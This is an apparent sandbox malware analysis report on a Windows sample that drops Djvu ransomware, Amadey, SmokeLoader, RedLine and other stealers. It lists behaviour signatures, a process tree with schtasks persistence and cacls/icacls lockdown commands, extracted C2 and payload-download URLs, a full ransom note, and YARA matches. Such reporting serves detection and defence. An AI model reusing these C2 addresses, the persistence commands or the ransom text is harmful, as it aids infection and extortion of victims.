Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	1325302
MD5:	a235e0ac41f596b68f029ea73e5c5fbb
SHA1:	0a32b671b9e0779286aade3e0ced081bebee0545
SHA256:	e629fcf41de2187cafd4c8c38b1e9408a5c521d29459971bb96fae5da26fa9d5
Tags:	exe
Infos:

Detection

Amadey, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected LummaC Stealer

Yara detected Amadeys stealer DLL

Detected unpacking (overwrites its own PE header)

Found ransom note / readme

Yara detected Babuk Ransomware

Yara detected SmokeLoader

Yara detected Glupteba

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Yara detected Clipboard Hijacker

Snort IDS alert for network traffic

Found malware configuration

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Yara detected Djvu Ransomware

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Found Tor onion address

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Costura Assembly Loader

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Allocates memory in foreign processes

Modifies existing user documents (likely ransomware behavior)

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Writes a notice file (html or txt) to demand a ransom

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Sample uses string decryption to hide its real strings

Uses schtasks.exe or at.exe to add and modify task schedules

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Sample uses process hollowing technique

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Injects code into the Windows Explorer (explorer.exe)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Registers a DLL

PE file contains more sections than normal

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

PE file does not import any functions

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Uses cacls to modify the permissions of files

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Uses FTP

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to query network adapater information

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

file.exe (PID: 5544 cmdline: C:\Users\user\Desktop\file.exe MD5: A235E0AC41F596B68F029EA73E5C5FBB)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

C06.exe (PID: 6836 cmdline: C:\Users\user\AppData\Local\Temp\C06.exe MD5: C2AB34E22731EDA5D7BE4450C6D8360F)

C06.exe (PID: 7096 cmdline: C:\Users\user\AppData\Local\Temp\C06.exe MD5: C2AB34E22731EDA5D7BE4450C6D8360F)

icacls.exe (PID: 1244 cmdline: icacls "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

C06.exe (PID: 5104 cmdline: "C:\Users\user\AppData\Local\Temp\C06.exe" --Admin IsNotAutoStart IsNotTask MD5: C2AB34E22731EDA5D7BE4450C6D8360F)

C06.exe (PID: 3672 cmdline: "C:\Users\user\AppData\Local\Temp\C06.exe" --Admin IsNotAutoStart IsNotTask MD5: C2AB34E22731EDA5D7BE4450C6D8360F)

build2.exe (PID: 6768 cmdline: "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe" MD5: 22F2FD94F57B71F36A31EA18BE7D4B34)

build2.exe (PID: 3368 cmdline: "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe" MD5: 22F2FD94F57B71F36A31EA18BE7D4B34)

build3.exe (PID: 6252 cmdline: "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

regsvr32.exe (PID: 6896 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\1917.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 6968 cmdline: /s C:\Users\user\AppData\Local\Temp\1917.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

374E.exe (PID: 5596 cmdline: C:\Users\user\AppData\Local\Temp\374E.exe MD5: 55F845C433E637594AAF872E41FDA207)

yiueea.exe (PID: 3568 cmdline: "C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe" MD5: 55F845C433E637594AAF872E41FDA207)

schtasks.exe (PID: 5924 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3352 cmdline: "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "yiueea.exe" /P "user:N"&&CACLS "yiueea.exe" /P "user:R" /E&&echo Y|CACLS "..\577f58beff" /P "user:N"&&CACLS "..\577f58beff" /P "user:R" /E&&Exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5368 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cacls.exe (PID: 2324 cmdline: CACLS "yiueea.exe" /P "user:N" MD5: 00BAAE10C69DAD58F169A3ED638D6C59)

cacls.exe (PID: 2416 cmdline: CACLS "yiueea.exe" /P "user:R" /E MD5: 00BAAE10C69DAD58F169A3ED638D6C59)

cmd.exe (PID: 5432 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cacls.exe (PID: 3020 cmdline: CACLS "..\577f58beff" /P "user:N" MD5: 00BAAE10C69DAD58F169A3ED638D6C59)

cacls.exe (PID: 3588 cmdline: CACLS "..\577f58beff" /P "user:R" /E MD5: 00BAAE10C69DAD58F169A3ED638D6C59)

6545.exe (PID: 3900 cmdline: C:\Users\user\AppData\Local\Temp\6545.exe MD5: 86A01AD03723CC198298DBEA06A107D2)

9EB5.exe (PID: 5356 cmdline: C:\Users\user\AppData\Local\Temp\9EB5.exe MD5: 147DB15672E40DD06DB945C1086B3145)

C06.exe (PID: 3616 cmdline: "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart MD5: C2AB34E22731EDA5D7BE4450C6D8360F)

C06.exe (PID: 3808 cmdline: "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart MD5: C2AB34E22731EDA5D7BE4450C6D8360F)

D900.exe (PID: 5740 cmdline: C:\Users\user\AppData\Local\Temp\D900.exe MD5: FF43AAE7083352DC2D8251C1E622C737)

cmd.exe (PID: 2028 cmdline: cmd /c tlatest.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 1360 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/2Xtsj4 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6236 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1904,i,6743762491447438880,8946520613085577941,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

treelatest.exe (PID: 1436 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe MD5: 8D87A6A419052B5AB9E38574E0F8B9E2)

callcustomerpro.exe (PID: 6520 cmdline: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe MD5: 7ACDC65B3D56FDE4FDF6D2BAD8E9F0CA)

callcustomer.exe (PID: 6432 cmdline: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe MD5: 87D1A8D56CE3307AECE3B799A7B1A9F2)

1CEF.exe (PID: 2024 cmdline: C:\Users\user\AppData\Local\Temp\1CEF.exe MD5: 5B293206E810D2871736E1ECBD9CC196)

conhost.exe (PID: 5104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

C06.exe (PID: 5172 cmdline: "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart MD5: C2AB34E22731EDA5D7BE4450C6D8360F)

vdhbahw (PID: 1004 cmdline: C:\Users\user\AppData\Roaming\vdhbahw MD5: A235E0AC41F596B68F029EA73E5C5FBB)

C06.exe (PID: 2076 cmdline: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe --Task MD5: C2AB34E22731EDA5D7BE4450C6D8360F)

C06.exe (PID: 2540 cmdline: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe --Task MD5: C2AB34E22731EDA5D7BE4450C6D8360F)

yiueea.exe (PID: 6432 cmdline: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe MD5: 55F845C433E637594AAF872E41FDA207)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://blog.cyble.com/2023/01/25/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/ https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/ https://drive.google.com/file/d/1L8mkylrCJyd-817-45RA6gIFCCX4oaOv/view	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Glupteba	Glupteba is a trojan horse malware that is one of the top ten malware variants of 2021. After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.	No Attribution	http://resources.infosecinstitute.com/tdss4-part-1/ https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/ https://blog.google/technology/safety-security/new-action-combat-cyber-crime/ https://blog.google/threat-analysis-group/disrupting-glupteba-operation/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/ https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199560322242", "https://t.me/cahalgo"], "Botnet": "d37c48c18c73cc0e155c7e1dfde06db9"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://wirtshauspost.at/tmp/", "http://msktk.ru/tmp/", "http://soetegem.com/tmp/", "http://gromograd.ru/tmp/", "http://talesofpirates.net/tmp/"]}

Threatname: Djvu

{"Download URLs": ["http://colisumy.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/raud/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-xN3VuzQl0a\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0805JOsie", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtLOKZqYIvkJIWXq55iKX\\\\nFSyHISS5lLAepLCyW\\/5rGg4Tqm8Tp32mBoRd1gWhOrk\\/ad\\/RtT8UZZWKtG7WAPYq\\\\nBi+W\\/F9byiJmuk\\/SZReEIvErzorAXPnEkwd6dyK5RmAcI+H+FNyKR\\/2y93j4Omif\\\\nWIfNwbUwgK6OpTQ9klCoKp0rprygGCBkspK+r3KlGY3vnmAxPpI9CxKIaKTHApL2\\\\n61iRvEswISjNztuIPKsh0GVc09hX+NSQUQu01U4KU8bWARNQTRwTutPQl\\/5EXpIb\\\\neh9\\/JUJDreLRJ0vZPX3O59tf0FvGHb9UJHtIrs0L6fjhwa2fXEBwn7\\/3QedQ0s2K\\\\nowIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: Amadey

{"C2 url": "79.137.192.18/9bDc8sQ/index.php", "Version": "3.87"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
dump.pcap	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x3c32a3:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\374E.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\374E.exe	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7800:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7800:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56

Memory Dumps

Source	Rule	Description	Author	Strings
00000020.00000002.2425606008.00000000020B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000020.00000002.2425606008.00000000020B0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x644:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000031.00000002.2951334522.0000000004178000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1746361183.00000000008AA000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6fe0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1746495018.0000000002351000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1746495018.0000000002351000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000011.00000003.4056163306.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000032.00000002.2622843154.00000000021A4000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000020.00000002.2425763443.0000000002221000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000020.00000002.2425763443.0000000002221000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x244:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000007.00000002.2007648525.0000000000738000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x69f0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000003.1956532519.00000000006C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000023.00000002.2433596886.000000000255D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xbb0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000012.00000002.2324274477.0000000002277000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000011.00000002.4134687572.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000020.00000002.2425306987.0000000000608000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7428:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000000.2281454429.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000000.2281454429.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7400:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000011.00000000.2288036934.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000000.2288036934.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7400:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
00000000.00000002.1746454910.0000000002330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1746454910.0000000002330000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000031.00000002.2949652811.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000001E.00000002.2313452873.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2313452873.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7400:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
0000001E.00000000.2312516328.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000000.2312516328.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7400:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
